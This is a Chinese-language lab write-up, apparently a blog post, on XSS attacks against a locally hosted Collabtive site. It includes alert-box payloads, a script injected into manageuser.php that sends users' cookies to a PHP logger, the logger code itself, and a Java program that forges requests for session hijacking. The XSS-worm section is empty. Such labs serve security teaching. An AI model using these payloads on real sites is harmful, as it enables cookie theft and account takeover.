Collabtive系统XSS攻击实验

Collabtive系统XSS攻击实验

实验简介

跨站点脚本(XSS)是一种常见较弱的web应用程序漏洞,攻击者使用这个漏洞注入恶意代码(例如JavaScript)来攻击受害者的web浏览器。
使用恶意代码,攻击者可以轻松窃取受害者的凭证,例如cookies的访问控制政策(例如:IE同源策略)受雇于浏览器可以保护这些凭证绕过XSS漏洞,利用这种漏洞可能会导致大规模的攻击。

预备知识

什么是XSS

XSS(Cross Site Scripting):跨站脚本攻击,它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的;而在xss攻击中,恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。

XSS分类

XSS主体分为2类:

来自内部:主要利用程序自身的漏洞,构造跨站语句;
来自外部:自己构造XSS跨站漏洞页面,然后诱惑管理员来点,从而获得我们想要的信息;

XSS危害

盗取各类用户账户,如机器登录账号、用户网银账号、各类管理员账号;
控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力;
盗窃企业重要的具有商业价值的资料;
非法转账;
强制发送电子邮件;
控制受害者机器向其他网站发起攻击;

4、什么是Cookie
某些网站为了辨别用户身份、进行session跟踪而储存在用户本地终端上的数据(通常经过加密);

实验内容

准备工作

首先,我们需要配置一个本地的服务器。
配置DNS。在/etc/hosts文件后追加

::1 localhost ip6-localhost ip6-loopback
127.0.0.1 www.xss.com

配置网站文件。创建/etc/apache2/conf.d/lab.conf

<VirtualHost *>
ServerName http://www.xss.com
DocumentRoot /var/www/XSS/Collabtive/
</VirtualHost>

启动服务

sudo service apache2 start
sudo mysqld_safe

现在我们可以尝试访问www.lab.com,如果能正常打开,则说明配置成功。网站的登录用户名和密码都是admin。

实验1-通过弹窗显示恶意信息

我们可以先写一个网页js.html来测试是否存在xss漏洞。存放在网站根目录下,浏览器直接访问网页,出现弹窗。

<script>
    alert("xss test");
</script>

下面我们来测试是否支持html调用js,从而出现xss漏洞。存放在网站根目录下,浏览器直接访问网页,出现弹窗。

<!--myscript.js>
alert("xss test");
<script type="text/javascript" src="http://www.xss.com/myscript.js">
</script>

实验2-恶意显示Cookie

上面我们已经验证了xss漏洞是存在的,但是弹窗本身并没有意义。下面我们尝试利用这种方式恶意显示Cookie。
我们在manageuser.php的最后添加一句脚本echo "<script>alert(document.cookie)</script>"。添加的这一行的功能就是以弹窗的形式显示用户的Cookie。
我们再次访问网站,发现弹窗中的内容就是本次会话的cookie。我们可以使用httpliveHeader来抓取验证。

实验3-窃取受害者的Cookie

获取我们自己会话的cookie对于攻击是没有意义的,我们的目的在于获取其他用户的cookie。在这个实验中,我们尝试做到这一点。
我们创建hack.php,以及一个有写入权限(设置为777即可)的cookie.txt

<?php
$cookie = $_GET['c'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie ."\n");
fclose($log);
?>

最后,我们在manageuser.php添加脚本,用来记录每个访问用户的cookie。

echo "<script>document.write('<img src=http://www.xss.com/hack.php?c=' + escape(document.cookie) + '>');</script>"

当有用户访问网站的时候,我们会发现,用户的cookie被记录在cookie.txt文件中。

实验4-使用获取的Cookie进行会话劫持

当我们获取到用户的cookie后,我们就可以进行会话劫持。
会话劫持:窃取受害者的cookie后,攻击者可以仿造受害者向服务器发送请求,包括代表受害者创建一个新项目,发帖子,删除等等。从本质上讲,就是劫持受害者的会话。
首先,我们需要得到每次会话报文的格式。
用户请求
HTTP访问请求需要经过四个步骤:

打开一个连接到web服务器。
设置必要的HTTP头信息。
发送请求到web服务器。
得到来自web服务器的响应。

我们可以编写一个Java程序,模拟这些步骤,伪造用户发送HTTP请求。

import java.io.*;
import java.net.*;
public class HTTPSimpleForge {
    public static void main(String[] args) throws IOException {
        try {
            int responseCode;
            InputStream responseIn=null;
            // URL to be forged.
            URL url = new URL ("http://www.xsslabcollabtive/admin.php?action=addpro");
            // URLConnection instance is created to further parameterize a
            // resource request past what the state members of URL instance
            // can represent.
            URLConnection urlConn = url.openConnection();
            if (urlConn instanceof HttpURLConnection) {
                urlConn.setConnectTimeout(60000);
                urlConn.setReadTimeout(90000);
            }
            // addRequestProperty method is used to add HTTP Header Information.
            // Here we add User-Agent HTTP header to the forged HTTP packet.
            // Add other necessary HTTP Headers yourself. Cookies should be stolen
            // using the method in task3.
            urlConn.addRequestProperty("User-agent","Sun JDK 1.6");
            //HTTP Post Data which includes the information to be sent to the server.
            String data="name=test&desc=test...&assignto[]=...&assignme=1";
            // DoOutput flag of URL Connection should be set to true
            // to send HTTP POST message.
            urlConn.setDoOutput(true);
            // OutputStreamWriter is used to write the HTTP POST data
            // to the url connection.
            OutputStreamWriter wr = new OutputStreamWriter(urlConn.getOutputStream());
            wr.write(data);
            wr.flush();
            // HttpURLConnection a subclass of URLConnection is returned by
            // url.openConnection() since the url is an http request.
            if (urlConn instanceof HttpURLConnection) {
                HttpURLConnection httpConn = (HttpURLConnection) urlConn;
                // Contacts the web server and gets the status code from
                // HTTP Response message.
                responseCode = httpConn.getResponseCode();
                System.out.println("Response Code = " + responseCode);
                // HTTP status code HTTP_OK means the response was
                // received sucessfully.
                if (responseCode == HttpURLConnection.HTTP_OK) {
                    Laboratory for Computer Security Education 6
                    // Get the input stream from url connection object.
                    responseIn = urlConn.getInputStream();
                    // Create an instance for BufferedReader
                    // to read the response line by line.
                    BufferedReader buf_inp = new BufferedReader(
                        new InputStreamReader(responseIn));
                    String inputLine;
                    while((inputLine = buf_inp.readLine())!=null) {
                        System.out.println(inputLine);
                    }
                }
            }
        } catch (MalformedURLException e) {
            e.printStackTrace();
        }
    }
}

实验5-XSS蠕虫

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值